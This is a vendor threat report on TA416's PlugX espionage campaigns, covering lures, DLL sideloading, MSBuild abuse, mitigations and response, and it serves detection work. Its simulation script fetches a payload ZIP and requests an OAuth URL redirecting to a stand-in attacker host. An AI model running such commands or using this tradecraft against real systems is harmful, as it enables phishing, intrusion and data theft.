I’d come running back to EU again: TA416 resumes European government espionage campaigns

SOC Prime Team

I’d come running back to EU again: TA416 resumes European government espionage campaigns

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

TA416, a China-aligned threat actor, has restarted targeting European government and diplomatic entities in mid-2025 after a period of reduced activity. The actor blends lightweight web-bug reconnaissance with delivery of a customized PlugX backdoor, rotating initial-access chains that include fake Cloudflare Turnstile-style lures, OAuth redirection abuse, and MSBuild-driven downloaders. By March 2026, reporting indicates the same playbook broadened to Middle East diplomatic targets amid heightened regional tensions tied to Iran. The campaigns lean on compromised mailboxes, signed Windows binaries for DLL sideloading, and fast-turnover command-and-control infrastructure.

Investigation

Proofpoint tracked multiple spear-phishing waves sent from freemail addresses and compromised government accounts, using either tracking pixels or weaponized archives. The archive-based chains used ZIP smuggling with LNK artifacts to stage MSIs or TAR packages, which then launched signed executables to sideload PlugX. In parallel, TA416 abused Microsoft Entra ID OAuth redirection and used renamed MSBuild binaries paired with malicious C# project files to retrieve and execute payloads. C2 traffic was observed over HTTP with RC4-encrypted messages and distinct header/cookie patterns used to shape requests and responses.

Mitigation

Enforce strong email authentication and tighten controls around inbound content sourced from unknown cloud storage providers. Monitor for suspicious execution of signed binaries commonly abused for sideloading (for example, cnmpaui.exe and steam_monitor.exe) and alert on abnormal DLL search-order behavior. Add detections for unusual HTTP header or cookie signatures associated with encrypted C2, and block known TA416 domains/IPs where possible. Strengthen endpoint monitoring for newly created Run-key persistence and unexpected file writes into public or shared directories.

Response

If activity is detected, isolate the host, capture volatile memory, and preserve relevant endpoint and mail logs for scoping. Hunt for PlugX artifacts including the CNCLID.dll loader, Canon.dat shellcode, and the dGcEuQhKT mutex. Revoke access for compromised email accounts, reset credentials, and remove any scheduled tasks or other persistence mechanisms. Analyze network telemetry for RC4-encrypted HTTP beaconing, then block associated domains/URLs and expand hunting across the environment.

"graph TB %% Class Definitions Section classDef action fill:#ffcccc classDef tool fill:#ccccff classDef malware fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access["Action – T1566 Phishing: Phishing emails sent from compromised accounts and generic phishing. Recipients click malicious links."] class action_initial_access action tool_phishing_email["Tool – Name: Phishing Email Technique: T1566"] class tool_phishing_email tool action_user_execution["Action – T1204 User Execution: Victims click malicious URL leading to malicious ZIP download."] class action_user_execution action tool_malicious_zip["Tool – Name: Malicious ZIP archive containing LNK shortcut"] class tool_malicious_zip tool action_lnk_smuggling["Action – T1027.012 LNK Icon Smuggling: LNK shortcut runs PowerShell script."] class action_lnk_smuggling action process_powershell["Process – PowerShell execution to extract signed binary"] class process_powershell process tool_signed_binary["Tool – Name: cnmpaui.exe (signed legitimate binary)"] class tool_signed_binary tool action_dll_sideloading["Action – T1218 System Binary Proxy Execution: DLL sideloading loads malicious DLL."] class action_dll_sideloading action malware_malicious_dll["Malware – Malicious DLL loaded via sideloading"] class malware_malicious_dll malware action_msbuild_execution["Action – T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild used to download and execute PlugX."] class action_msbuild_execution action tool_msbuild["Tool – Name: Renamed MSBuild executable"] class tool_msbuild tool tool_csharp_project["Tool – Name: Malicious C# project file"] class tool_csharp_project tool malware_plugx["Malware – PlugX payload"] class malware_plugx malware action_persistence["Action – T1037.001 Persistence via Run registry key and shortcut modification."] class action_persistence action process_registry["Process – Creation of Run registry key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run"] class process_registry process action_defense_evasion["Action – T1553.002 Subvert Trust Controls: Abuse of signed executables and heavy obfuscation."] class action_defense_evasion action action_apddomain_hijack["Action – T1574.014 Hijack Execution Flow: AppDomainManager hijack via MSBuild chain"] class action_apddomain_hijack action action_c2["Action – T1071.001 Web Protocols and T1573.001 Encrypted Channel: HTTP C2 with RC4 encryption"] class action_c2 action process_c2_communication["Process – Encrypted HTTP communication with C2 server"] class process_c2_communication process action_exfiltration["Action – T1041 Exfiltration Over C2 Channel: Data sent over encrypted channel"] class action_exfiltration action %% Connections action_initial_access –>|delivers| tool_phishing_email tool_phishing_email –>|contains link leading to| action_user_execution action_user_execution –>|downloads| tool_malicious_zip tool_malicious_zip –>|contains| action_lnk_smuggling action_lnk_smuggling –>|executes| process_powershell process_powershell –>|extracts| tool_signed_binary tool_signed_binary –>|loads| action_dll_sideloading action_dll_sideloading –>|loads| malware_malicious_dll malware_malicious_dll –>|prepares environment for| action_msbuild_execution action_msbuild_execution –>|uses| tool_msbuild tool_msbuild –>|processes| tool_csharp_project tool_csharp_project –>|downloads and runs| malware_plugx malware_plugx –>|creates| action_persistence action_persistence –>|writes| process_registry action_persistence –>|modifies shortcut for| action_lnk_smuggling action_persistence –>|enables| action_defense_evasion action_defense_evasion –>|applies| action_apddomain_hijack action_apddomain_hijack –>|enables| action_c2 action_c2 –>|communicates via| process_c2_communication process_c2_communication –>|exfiltrates data via| action_exfiltration "

Attack Flow

Attack Narrative & Commands:
1. Stage the payload: The attacker uploads a malicious ZIP file (payload.zip) to the Azure Blob container mydownload.z29.web.core.windows.net.
2. Craft a lure page: A malicious HTML page hosted on the same domain includes an <img> tag that points to the Azure Blob URL (triggering the download) and a hidden <iframe> that immediately redirects the victim to a Microsoft Entra ID OAuth 2.0 authorization endpoint with a redirect_uri pointing to the attacker‑controlled domain.
3. Victim interaction: The victim visits the lure page (e.g., via a phishing email). The browser issues two HTTP GET requests in rapid succession—one for the Blob URL and one for the OAuth URL. Azure Activity Logs record both requests under the same proxy session, satisfying the rule’s selection_blob AND selection_oauth condition.

Regression Test Script: (executed from the victim machine to reproduce the telemetry)

# TA416 Azure Blob + OAuth trigger simulation
# Step 1: Download malicious blob (simulated with a benign file)
Invoke-WebRequest -Uri "https://mydownload.z29.web.core.windows.net/payload.zip" -OutFile "$env:TEMPpayload.zip"

# Step 2: Immediately invoke the OAuth authorization URL (simulated redirect)
$oauthUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=FAKE_CLIENT_ID&response_type=code&redirect_uri=https://attacker.example.com/callback"
Invoke-WebRequest -Uri $oauthUrl -Method GET -UseBasicParsing | Out-Null

Write-Host "Simulation complete – both URLs requested."

Cleanup Commands:

# Remove the downloaded file
Remove-Item -Path "$env:TEMPpayload.zip" -Force -ErrorAction SilentlyContinue

# Clear PowerShell session variables
Remove-Variable -Name oauthUrl -ErrorAction SilentlyContinue

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free